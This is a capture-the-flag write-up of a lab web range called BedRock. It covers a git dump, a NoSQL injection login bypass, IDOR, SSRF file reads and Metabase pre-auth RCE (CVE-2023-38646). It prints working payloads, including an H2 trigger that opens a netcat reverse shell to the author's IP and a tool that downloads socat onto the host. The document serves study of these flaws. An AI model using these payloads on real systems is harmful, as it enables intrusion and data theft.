cxzero training journey

BedRock

Date: May 2026

Difficulty: Medium

Category: webrange

Description of the webrange

“Summit Property Group is a Denver-based property-management firm running a multi-service web stack: a public marketing site, a tenant portal, an applicant-intake form, an owners’ dashboard with PDF generation, an internal staff admin panel, and a Metabase analytics deployment. Find every flag without insider access.”

It can be played here.

TL;DR

  • Exposed git repository
  • Authentication bypass in apply.summit.local.
  • Unauthorized access to tenant.summit.local using discovered credentials.
  • Insecure Direct Object Reference (IDOR) in tenant.summit.local.
  • Unauthorized access to owners.summit.local using discovered credentials.
  • Server-Side Request Forgery (SSRF) in owners.summit.local.
  • Exposed unauthenticated administrative panel in owners.summit.local.
  • Remote Code Execution (RCE) in metabase.summit.local.

Initial enumeration

When accessing the provided IP address, the application redirected us to the hostname summit.local, so we manually added an entry to /etc/hosts to map the domain to the target IP address.

By navigating the website at the URL http://summit.local, the application revealed the presence of additional subdomains such as owners.summit.local, apply.summit.local, owners.summit.local and tenant.summit.local. We added all of them to the /etc/hosts file.

Exposed .git repository

We performed directory fuzzing against the URL http://summit.local and found that a .git directory was exposed:

$ ffuf -u "http://summit.local/FUZZ"  -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[...]
.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 206ms]
.git/HEAD               [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 206ms]
.git/logs/              [Status: 200, Size: 350, Words: 115, Lines: 9, Duration: 207ms]
.git/index              [Status: 200, Size: 10196, Words: 39, Lines: 35, Duration: 207ms]
.git/config             [Status: 200, Size: 207, Words: 14, Lines: 9, Duration: 207ms]
[...]

By using git-dumper, we downloaded the aforementioned git repository:

$ python3 git_dumper.py http://summit.local/ main-site-git

After inspecting the git commit history, we were able to recover unreferenced objects from the repository, in particular using git reflog:

$ git reflog                                       
ddcb127 (HEAD -> main) HEAD@{0}: reset: moving to HEAD~2
69eef0b HEAD@{1}: commit: fix — staging deploy token leak; FLAG=BEDROCK{[REDACTED]} rotate post-deploy
8274e9e HEAD@{2}: commit: copy update — owners page CTA
ddcb127 (HEAD -> main) HEAD@{3}: commit (initial): summit-www/4.0 first deploy

Authentication bypass at apply.summit.local

Fuzzing revealed an interesting /admin endpoint:

$ ffuf -u "http://apply.summit.local/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt  

[...]
admin                   [Status: 302, Size: 34, Words: 4, Lines: 1, Duration: 192ms]
apply                   [Status: 302, Size: 35, Words: 4, Lines: 1, Duration: 188ms]
css                     [Status: 301, Size: 153, Words: 6, Lines: 11, Duration: 291ms]
status                  [Status: 200, Size: 4623, Words: 615, Lines: 105, Duration: 193ms]
thanks                  [Status: 200, Size: 4628, Words: 644, Lines: 103, Duration: 198ms]

alt text

The portal reveals two potential users marcus and helena. After testing a number of common weak credential combinations, further investigation revealed that the login functionality was vulnerable to a NoSQL injection vulnerability, allowing authentication controls to be bypassed.

By issuing the following POST request, we bypassed authentication entirely:

POST /admin/login HTTP/1.1
Host: apply.summit.local
Content-Type: application/json
[...]

{
  "username" : {
    "$ne" : null
  },
  "password" : {
    "$ne" : null
  }
}

The application responded with a 302 HTTP code and redirected us to the /admin/dashboard endpoint:

HTTP/1.1 302 Found
Server: nginx/1.29.8
[...]

<p>Found. Redirecting to /admin/dashboard</p>
[...]

alt text

By selecting the Applicants section and browsing to the URL http://apply.summit.local/admin/applicants/SP-2026-04-1384, we discovered another potential subdomain metabase.summit.local:

alt text

We added this subdomain to the /etc/hosts file.

We also identified that the application revealed credentials for a tenant account within an internal note in http://apply.summit.local/admin/applicants/SP-2026-04-1382:

Approved Helena Wu — created tenant account at h.wu@summittenant.lab on the tenant portal, temp pw “Summit2024!” per usual process. Tenant should rotate at first login.

alt text

After inspecting other resources in the application, we did not find anything else, so we moved on to the next applications.

Unauthorized access at tenant.summit.local via discovered credentials

Using the credentials previously discovered, we successfully authenticated to the tenant application:

alt text

This access was key to discovering the subsequent vulnerability.

IDOR at tenant.summit.local

Upon further investigation, we identified that the Lease functionality was vulnerable to an Insecure Direct Object Reference (IDOR) vulnerability. By manipulating object identifiers, we were able to access lease-related resources belonging to other users without proper authorization checks.

By default, the application redirected the user to http://tenant.summit.local/lease/11. After changing the identifier to 1, the application returned information related to another tenant:

http://tenant.summit.local/lease/1

alt text

RCE at metabase.summit.local

alt text

From the setup page we could see a reference to https://www.metabase.com/docs/v0.46/configuring-metabase/setting-up-metabase.html, indicating that metabase 0.46.x version was installed. After further investigation, we confirmed that the installed version was 0.46.4:

Request

GET /api/session/properties HTTP/1.1
Host: metabase.summit.local

Response

HTTP/1.1 200 OK
Server: nginx/1.29.8
[...]

  "version" : {
    "date" : "2023-05-24",
    "tag" : "v0.46.4",
    "branch" : "release-x.46.x",
    "hash" : "f858476"
  },
[...]
  "setup-token" : "06259544-46cf-4377-827e-96096b35b15c",
[...]  

Searching for vulnerabilities using the searchsploit tool revealed a pre-auth remote code execution vulnerability in the setup token validation mechanism, which could be exploited before the initial setup was completed or if the setup token was exposed (CVE-2023-38646):

$ searchsploit "metabase"       
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Metabase 0.46.6 - Pre-Auth Remote Code Execution                                                                                                                                                          | linux/webapps/51797.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

By running the above exploit which is also referenced in exploit-db, gave us a limited shell:

$ searchsploit -m 51797.py

$ python3 51797.py -l 10.8.0.60 -p 4444 -P 80 -u "http://metabase.summit.local"
[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]
[*] Retriving setup token
[+] Setup token: 49e6fdaa-b07d-48aa-b991-5bf069b53ba6
[*] Tesing if metabase is vulnerable
[+] Starting http server on port 80
[+] Metabase version seems exploitable
[+] Exploiting the server
metabase_shell > id

uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

metabase_shell > ls -al /home/metabase
metabase_shell > 
total 8
drwxr-sr-x    2 metabase metabase      4096 May 19 13:57 .
drwxr-xr-x    1 root     root          4096 May 19 13:57 ..

ls -al /app
metabase_shell > 
total 285356
drwxr-xr-x    1 root     root          4096 May 24  2023 .
drwxr-xr-x    1 root     root          4096 May 19 13:57 ..
drwxr-xr-x    2 root     root          4096 May 24  2023 certs
-rw-r--r--    1 root     root     292178245 May 24  2023 metabase.jar
-rwxr-xr-x    1 root     root          6914 May 24  2023 run_metabase.sh

With this level of access, we identified credentials to access an internal database:

metabase_shell > env
metabase_shell >
SHELL=/bin/sh
[...]
MB_DB_PASS=metabase_app_pw
[...]
MB_DB_HOST=postgres
[...]
MB_DB_DBNAME=metabase
FLAG_3=BEDROCK{[REDACTED]}
[...]
MB_DB_USER=metabase_app
[...]

I was curious to know how the vulnerability worked and wanted to exploit he vulnerability manually. After reading the original blog post by AssetNote, I created an alternative exploit that worked for me and resulted in a reverse shell. We first needed the setup token that was retrieved in response to a GET request to the URL http://metabase.summit.local/api/session/properties. Then we issued the following request and response pair:

Request

POST /api/setup/validate HTTP/1.1
Host: metabase.summit.local
Content-Type: application/json
Content-Length: 752

{
    "token": "06259544-46cf-4377-827e-96096b35b15c",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('nc 10.8.0.60 9000 -e bash')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

Response

HTTP/1.1 400 Bad Request
Server: nginx/1.29.8
[...]

{
  "message" : "Error creating or initializing trigger \"PWNSHELL\" object, class \"..source..\", cause: \"org.h2.message.DbException: Syntax error in SQL statement \"\"//javascript\\\\000ajava.lang.Runtime.getRuntime().exec('nc 10.8.0.60 9000 -e bash')\\\\000a\"\" [42000-212]\"; see root cause for details; SQL statement:\nSET TRACE_LEVEL_SYSTEM_OUT 1 [90043-212]"
}

We received a connection back to our listener:

$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.8.0.60] from (UNKNOWN) [10.8.0.1] 43563
id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

The environment variables revealed the presence of a PostgreSQL database along with its associated credentials. We leveraged this access to read the contents of the scratch_notes table:

$ psql "host=postgres port=5432 dbname=metabase user=metabase_app password=metabase_app_pw"

select table_name from information_schema.tables;
              table_name               
---------------------------------------
 scratch_notes
 report_dashboardcard
 pg_type
 databasechangelog
 databasechangeloglock
 pg_foreign_table
 core_user
 pg_roles
 pg_settings

select * from scratch_notes;
 id | author |             title             |                                                                                    body                                                                                     |       created_at       
----+--------+-------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------
  1 | mvega  | pg replication lag — resolved | Follower was 40s behind after the snapshot restore on 11/18. Bumped wal_keep_size to 512MB. Watching. Restarted standby agent 2x.                                           | 2026-04-25 11:22:00+00
  2 | mvega  | owners portal creds — temp    | Spinning up the new owners portal env. My login until I get SSO wired up: mv@vegaholdings.lab / Vega1209!elk — change this once okta is configured. TODO: remove this note. | 2026-05-02 09:14:00+00
  3 | mvega  | metabase DB size check        | select pg_size_pretty(pg_database_size('metabase')); -- 47 MB as of 12/01. Fine for now.                                                                                    | 2026-05-05 16:04:00+00
(3 rows)

As shown above, we discovered account credentials for mv@vegaholdings.lab in the owners application.

Unauthorized access at owners.summit.local via discovered credentials

Using the credentials previously discovered, we successfully authenticated to the owners application as mv@vegaholdings.lab:

alt text

This access directly enabled the discovery of the next vulnerability.

SSRF at owners.summit.local

The Statements functionality was vulnerable to SSRF. After clicking the Render feature the application redirected the user to http://owners.summit.local/?action=pdf&url={URL}:

alt text

alt text

We confirmed the SSRF by using the file:/// protocol, issuing a GET request to http://owners.summit.local/?action=pdf&url=file:///etc/issue:

alt text

As shown above, the contents of the /etc/issue file were successfully included in the generated PDF, confirming the ability to read and disclose arbitrary files from the underlying system.

We also validated access list files and directories by using the file:/// payload:

alt text

Then, we discovered that the file file:///opt/staff/server.js revealed the presence of an internal application running at port 8080:

alt text

We confirmed access to the internal application by issuing a GET request to http://owners.summit.local/?action=pdf&url=http://127.0.0.1:8080

alt text

We got the flag after navigating to http://owners.summit.local/?action=pdf&url=http://127.0.0.1:8080/admin/system:

alt text

Exposed unauthenticated admin panel at owners.summit.local

The robots.txt file located at http://owners.summit.local/robots.txt revealed the presence of additional resources within the application, in particular /partials/:

# Summit Property Group — owners.summit.local
# Contact: webmaster@summitprop.lab

User-agent: *
Disallow: /?action=admin
Disallow: /?action=pdf
Disallow: /?action=dashboard
Disallow: /admin
Disallow: /api/
Disallow: /internal/
Disallow: /partials/

Sitemap: http://summit.local/sitemap.xml

The http://owners.summit.local/partials/admin.php endpoint was found using ffuf:

$ ffuf -u "http://owners.summit.local/partials/FUZZ"  -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

admin.php               [Status: 200, Size: 4537, Words: 799, Lines: 100, Duration: 201ms]

alt text

The flag was inside a comment of the HTML source code:

alt text

Beyond capturing the flags

Get an interactive shell in metabase.summit.local

Despite I spent quite some time with common ways to get an interactive pty, I ended up finishing the webrange without it. Thanks to itzvenom I knew a new tool called penelope which auto upgrades the shell using socat:

$ sudo apt install penelope
$ penelope -p 9000
[+] Listening for reverse shells on 0.0.0.0:9000 -> 127.0.0.1 • 10.10.10.164 • 10.8.0.60
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => e4251faa499f 10.8.0.1 Linux-x86_64 👤 metabase(2000) 😍️ Session ID <1>
[+] Upgrading shell to PTY...
[!] Cannot upgrade shell with the available binaries...

  1) Upload https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
  2) Upload local socat binary
  3) Specify remote socat binary path
  4) None of the above

[?] Select action: 1
[•] Download URL: https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
 ⤷ [########################################] 100% (366.4 KBytes/366.4 KBytes) | Elapsed 0:00:00
[+] Upload OK /var/tmp/socat

[!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY
[+] Attempting to spawn a reverse shell on 10.8.0.60:9000
[+] [New Reverse Shell] => e4251faa499f 10.8.0.1 Linux-x86_64 👤 metabase(2000) 😍️ Session ID <2>
[+] PTY upgrade successful via /var/tmp/socat
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/kali/.penelope/sessions/e4251faa499f~10.8.0.1-Linux-x86_64/2026_06_03-20_08_52-765-metabase(2000).log
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
e4251faa499f:/$ whoami
metabase

Unworthy IDOR in apply.summit.local

After completing and submitting an application we received an identifier like this:

alt text

I spent a lot of time fuzzing this URL http://apply.summit.local/status/SP-2026-MONTH-ID:

ffuf -u "http://apply.summit.local/status/SP-2026-MONTH-ID" -w month.txt:MONTH -w ids3.txt:ID -fr "Application not found"

[Status: 200, Size: 5297, Words: 758, Lines: 126, Duration: 185ms]
    * ID: 1382
    * MONTH: 04

[Status: 200, Size: 5418, Words: 780, Lines: 126, Duration: 194ms]
    * ID: 1383
    * MONTH: 04

[Status: 200, Size: 4965, Words: 675, Lines: 119, Duration: 196ms]
    * ID: 1384
    * MONTH: 04

[Status: 200, Size: 5434, Words: 785, Lines: 126, Duration: 184ms]
    * ID: 1385
    * MONTH: 04

[Status: 200, Size: 5321, Words: 763, Lines: 126, Duration: 202ms]
    * ID: 1386
    * MONTH: 04

[Status: 200, Size: 4931, Words: 673, Lines: 119, Duration: 199ms]
    * ID: 1387
    * MONTH: 04

Despite confirming another IDOR vulnerability, those endpoints did not revealed anything useful. As soon as we progressed through the webrange, we discovered that the messages were intended to be public, but what we needed were the private messages only accessible once we got admin-level acccess.

alt text

Odd unhandled errors in owners

Attemps to bypass authentication in the owners application were unsuccessful. While internal information was disclosed, I could not leverage it to gain unauthorized access or perform further exploitation.

Request

POST /?action=login HTTP/1.1
Host: owners.summit.local

email[$ne]=a%40a.com&password[$ne]=a

Response

[...]
<br />
<b>Fatal error</b>:  Uncaught TypeError: trim(): Argument #1 ($string) must be of type string, array given in /var/www/html/index.php:30
Stack trace:
#0 /var/www/html/index.php(30): trim(Array)
#1 {main}
  thrown in <b>/var/www/html/index.php</b> on line <b>30</b><br />

Unprotected pages in owners

Despite we could access http://owners.summit.local/partials/statement.php without a valid account, we could not find a way to exploit it further without more information:

alt text

alt text

alt text